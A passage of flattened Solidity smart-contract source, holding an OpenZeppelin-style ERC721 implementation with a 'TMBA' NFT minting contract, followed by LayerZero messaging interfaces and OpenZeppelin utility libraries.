OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } contract TMBA is ERC721, Ownable { using Counters for Counters.Counter; using Strings for uint256; uint256 public constant PRICE_PER_NFT = 0.04 ether; uint256 public constant MAX_NFTS = 1000; uint256 public constant NUM_TEAM_NFTS = 10; Counters.Counter private _tokenIds; mapping (uint256 => string) private _yearbook; string public baseURI; event YearbookUpdated(address _owner, uint256 _tokenId); constructor(string memory uri) ERC721("The Token MBA", "TMBA") { baseURI = uri; for (uint i = 0; i < NUM_TEAM_NFTS; i++) { _mint(owner(), _tokenIds.current()); _tokenIds.increment(); } } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function totalSupply() public view returns (uint) { return _tokenIds.current(); } function getYearbook(uint256 tokenId) public view returns (string memory) { return _yearbook[tokenId]; } function updateBaseURI(string memory uri) external onlyOwner { baseURI = uri; } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function setYearbook(uint256 tokenId, string memory text) external { require(ERC721.ownerOf(tokenId) == msg.sender, "TMBA: sender is not owner of token"); _yearbook[tokenId] = text; emit YearbookUpdated(msg.sender, tokenId); } function mint(uint256 count) public payable returns (bool) { require(count > 0 && count <= 5, "TMBA: Cannot mint more than 5 tokens"); require(_tokenIds.current() + count <= MAX_NFTS, "TMBA: Cannot mint more than max supply"); require(msg.value == PRICE_PER_NFT * count , "TMBA: Ether value sent is not correct"); for (uint i = 0; i < count; i++) { _mint(msg.sender, _tokenIds.current()); _tokenIds.increment(); } return true; } }

True

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// File: contracts/interfaces/ILayerZeroUserApplicationConfig.sol pragma solidity >=0.5.0; interface ILayerZeroUserApplicationConfig { // @notice set the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _configType - type of configuration. every messaging library has its own convention. // @param _config - configuration in the bytes. can encode arbitrary content. function setConfig(uint16 _version, uint16 _chainId, uint _configType, bytes calldata _config) external; // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion(uint16 _version) external; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion(uint16 _version) external; // @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload // @param _srcChainId - the chainId of the source chain // @param _srcAddress - the contract address of the source contract at the source chain function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external; } // File: contracts/interfaces/ILayerZeroEndpoint.sol pragma solidity >=0.5.0; interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig { // @notice send a LayerZero message to the specified address at a LayerZero endpoint. // @param _dstChainId - the destination chain identifier // @param _destination - the address on destination chain (in bytes). address length/format may vary by chains // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send(uint16 _dstChainId, bytes calldata _destination, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable; // @notice used by the messaging library to publish verified payload // @param _srcChainId - the source chain identifier // @param _srcAddress - the source contract (as bytes) at the source chain // @param _dstAddress - the address on destination chain // @param _nonce - the unbound message ordering nonce // @param _gasLimit - the gas limit for external contract execution // @param _payload - verified payload to send to the destination contract function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external; // @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (uint64); // @notice get the outboundNonce from this source chain which, consequently, is always an EVM // @param _srcAddress - the source chain contract address function getOutboundNonce(uint16 _dstChainId, address _srcAddress) external view returns (uint64); // @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery // @param _dstChainId - the destination chain identifier // @param _userApplication - the user app address on this EVM chain // @param _payload - the custom message to send over LayerZero // @param _payInZRO - if false, user app pays the protocol fee in native token // @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain function estimateFees(uint16 _dstChainId, address _userApplication, bytes calldata _payload, bool _payInZRO, bytes calldata _adapterParam) external view returns (uint nativeFee, uint zroFee); // @notice get this Endpoint's immutable source identifier function getChainId() external view returns (uint16); // @notice the interface to retry failed message on this Endpoint destination // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address // @param _payload - the payload to be retried function retryPayload(uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload) external; // @notice query if any STORED payload (message blocking) at the endpoint. // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool); // @notice query if the _libraryAddress is valid for sending msgs. // @param _userApplication - the user app address on this EVM chain function getSendLibraryAddress(address _userApplication) external view returns (address); // @notice query if the _libraryAddress is valid for receiving msgs. // @param _userApplication - the user app address on this EVM chain function getReceiveLibraryAddress(address _userApplication) external view returns (address); // @notice query if the non-reentrancy guard for send() is on // @return true if the guard is on. false otherwise function isSendingPayload() external view returns (bool); // @notice query if the non-reentrancy guard for receive() is on // @return true if the guard is on. false otherwise function isReceivingPayload() external view returns (bool); // @notice get the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _userApplication - the contract address of the user application // @param _configType - type of configuration. every messaging library has its own convention. function getConfig(uint16 _version, uint16 _chainId, address _userApplication, uint _configType) external view returns (bytes memory); // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion(address _userApplication) external view returns (uint16); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion(address _userApplication) external view returns (uint16); } // File: contracts/interfaces/ILayerZeroReceiver.sol pragma solidity >=0.5.0; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external; } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See 